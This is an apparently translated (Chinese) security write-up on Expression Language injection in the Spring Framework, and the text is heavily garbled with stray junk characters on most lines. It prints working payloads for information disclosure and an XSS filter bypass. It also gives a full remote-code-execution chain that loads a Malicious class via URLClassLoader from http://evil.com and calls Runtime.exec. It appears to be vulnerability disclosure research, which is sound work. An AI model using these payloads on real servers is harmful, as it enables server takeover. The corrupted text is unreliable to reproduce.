Remote Code with
4 D$ M3 w1 K+ JExpression Language Injection
. a2 q! ^. r' v$ \$ W" USpring Framework脆弱性—DanAmodio
w6 A" U- p3 l6 {& E4 V3 S全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
$ [% X7 p3 i/ ^ r可能会存在风险。
: Y4 s+ `) m' D6 p/ J$ k0 T# d在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
4 [& m+ M6 M0 R+ Z9 y2 YArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
' r/ s; f B/ j* j以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
- |4 l5 Y( V% j B- O2 c2 J% i以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前9 [3 o5 ~8 }+ P7 w" X( [2 U
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。- U A; F- h; K( f! [' E$ K
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但% a( D, B+ @/ o! @2 x8 e# n9 A
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版; L3 x8 h8 R$ i0 r9 \
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。: _, F3 W- o/ w& ^+ W
这些版本不支持禁用double EL resolution." S& s2 B. S7 i
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
8 ~8 y' x0 f9 K) S- EEL2.2容器上可能进行远程代码执行。3 O( ?, ~1 g. H+ |# P" J
这是一个原始信息泄露的攻击例子:
5 N6 _$ y: w& T& j; V0 ~请求:0 q8 O% T Z' o4 g. v" K
ttp://vulnerable.com/foo?message=${applicationScope}& K8 W( E- G# Q( _9 Z5 Y9 j
到达以下内容页面:2 W: _, g2 V" F/ g' `. t
结果将输出一些包含内部服务器信息calsspath 和本地工作目录
( f2 \2 N: k/ N# B1 N1 U. E# a你也可以做一些其他事情,如这样:# X/ ]. u5 K* E1 T1 h
${9999+1}% l2 P7 Q5 A$ c
还可以访问session 对象和beans. [$ C+ G9 Y, ?
${employee.lastName}& v$ L+ |3 w0 A& u' v
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
6 \6 c# W3 C) l9 R# |. |$ kEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东4 M* P& k7 j) J; x3 n
西,比如XSS.+ M5 P X9 e& G& m. a( ^. @0 H) G) J
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签+ i4 Z# M6 u9 u, f- R
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
2 y, D7 S. G, J7 l2 h9 B( W B呢?” J) }. K, l% P
因此,我尝试巳缦拢�* T# G5 {# {0 B, ]/ }$ m0 M
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP& o9 X0 g/ j9 Z: U1 `; X: S- v
P" O: }0 i5 Q3 t: D- F5 @5 Y/ q
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返4 A: w3 V2 R7 m. x8 K7 }6 n
回的文本被插入进了spring:message 标签。
H# T" M/ K, e- ^6 J7 [这里是一个最终绕过过滤的实例:
. q9 j& B9 A& l: W, S& f1 ghttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1) /scriptQ- K( a3 e1 Y0 [6 ^
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
/ S. ~ t4 s6 |& X/ p; @什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
" H. o1 F" l Z. R0 u经过一番研究,我学习到EL2.2 增加了方法调用。
) P8 ?: ^8 M1 Q6 \ t0 e我写了一个快速测试应用程序代码并且检测一些功能
, z' s- _7 M- q& e; s1 f9 a3 W${pageContext.request.getSession().setAttribute(“account”,”123456″)}/ x+ N9 y7 Q0 \
${pageContext.request.getSession().setAttribute(“admin”,true)}( v! Y) r% [$ F4 B2 q
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的$ e5 o1 @* U) ?4 t
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
& |+ z9 O$ p2 T7 q${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
% S- d& Q2 z2 G1 s“, 1234)}: h( p. R' d, S9 N! i/ ^* y
${“”.getClass().forName(“java.lang.Runtime”)}
9 ^% m. k- p# ]哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
9 ~. X2 J" @/ H$ d% }% L* H3 a; Q可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
, v$ l% D- R1 M, w% D1 v _* l2 D3 V数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
: T% l2 _& p" R6 R* i1 v一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于- {. U2 z$ x' a+ R/ ~: X! B
方法签名invoke(Object obj, Object„ args)
7 O; V( _) ?# I2 \0 VJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问( D+ l2 z! b. r: w) P7 S
题,以让它可以工作起来。- h5 m' [- j X# ]* T1 U
漏洞利用:! ? o+ }7 L- F/ S3 N5 }1 r
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
# u) i, J! u8 B/ f- N9 \6 {; o希望你们中的一些JAVA奇才告诉我我是如此的可笑。
4 ^& B" `% y& V( `* T# F8 j& I这里有一些我试过的失败的用例,为了试图让它工作的用例:6 ?0 q6 `# r/ f
写文件到文件系统6 y$ i4 g$ p1 }& ?+ E- ^
试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
4 Z" n1 f* {' w2 p3 @8 X8 `9 j我认为这些可以很好的工作,但是我不能找到合适的类来载入。# w: s( E2 h% }% J$ s* d+ n# L
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}) X9 A' e5 g. u2 c0 X1 O H! R
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:& ~* F: \7 n) c, E; O( O, U3 Q
org.springframework.expression.spel.standard.SpelExpressionParser not found
: q" q. a* T0 o' C8 aby, C. m- G# [# C9 l: o# b
org.glassfish.web.javax.servlet.jsp [194].) _- ~7 o4 K. T* g; y
利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
% e" x: v, n T* g4 P4 K 利用反射来创建一个新的Runtime(and watch the world burn)4 q" ~+ T8 C4 m$ e
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
$ z' G% I4 c9 A( o8 u+ `(“java.lang.Runtime”)).getDeclaredConstructors()[0])}# Q9 r/ A& ^" j3 r" @7 h2 Z1 E
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
7 R0 {" U q* R' v 使用java.lang.ProcessBuilder
9 o; Z/ V( `8 J/ ?- u% U; `# F) E9 s 用表达式语言来评估表达式语言4 L1 K: Q3 G! u: X8 P. ^( r3 L. m
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
" p& g& o F8 W0 U${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request2 K/ P( f4 M0 Z+ u8 G) A
“,”".getClass(),null)}1 F" b+ w6 M+ ~0 z. l1 a
创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
$ |0 E' P; u! {: V- B我在使用一个空数组通过Method.invoke()时失败了很多次2 M% q5 I8 N; D9 F
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
0 V) d: K( ]. ~' Z8 `.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
" J. k0 M7 Z3 x ?9 FrrayList”).newInstance().toArray())
, c5 k B' B0 ojava.lang.IllegalArgumentException: wrong number of arguments# \2 c- r9 w' c) x% g: D9 j$ c5 `
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可+ F& @7 j0 ]$ d
以创建一个恶意class文件并且指向类装载器.4 q3 m( J8 `8 c
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
" {& e7 u& F7 \6 s: ^: p$ wpublic class Malicious {
# C( [) y& E, a& Z% [0 `. F; bpublic Malicious() {+ _( u' t; d' X' ] C
try {; J Z$ C1 F, o8 M. A0 [. K
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac# _0 p1 @ f6 R2 L0 X2 K' l/ i
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win/ d2 r+ k- m7 {; d+ E
} catch (Exception e) {
& p. X# j0 t% N1 N$ f3 Z}) \& ^4 n5 C8 K. ?% b/ _# I
}
/ E0 W0 K3 l- ]# `2 l( d# ^* f我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回% _0 M% P* n/ V2 y8 l
话中,因此它可以被使用.* f) [2 I1 ^4 w" w9 H: u
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName' X# u+ z# d8 K- {% o7 K8 g' C
(“java.util.ArrayList”).newInstance())}
t/ |$ X! h% r' GURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建1 d# b4 {- ^4 a8 k* U
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
4 f' O1 A( w2 ~1 ~getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
, Q1 L+ x8 |0 v5 m我们可以调用的create(string)方法,然后转换对一个URL对象。% f$ [9 ^ h1 ?: E! ]) x: E" x
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
7 w. a& w: B* @$ Tere/malicious/classfile/is/located/”).toURL())}* Y& s2 M$ y" F6 |; W: L
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
) [: O# A% i5 O1 l3 h恶意类文件被装载并创建,触发远程代码.
|- ^' B# E2 H! W6 z c& U- P${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte, C' H- Q5 f/ d1 j! e3 M" c, M
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
3 l9 ^- Z% e& [( vgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance7 p, D! M- ~9 L! [1 ~. Y2 ?3 |' W
()} |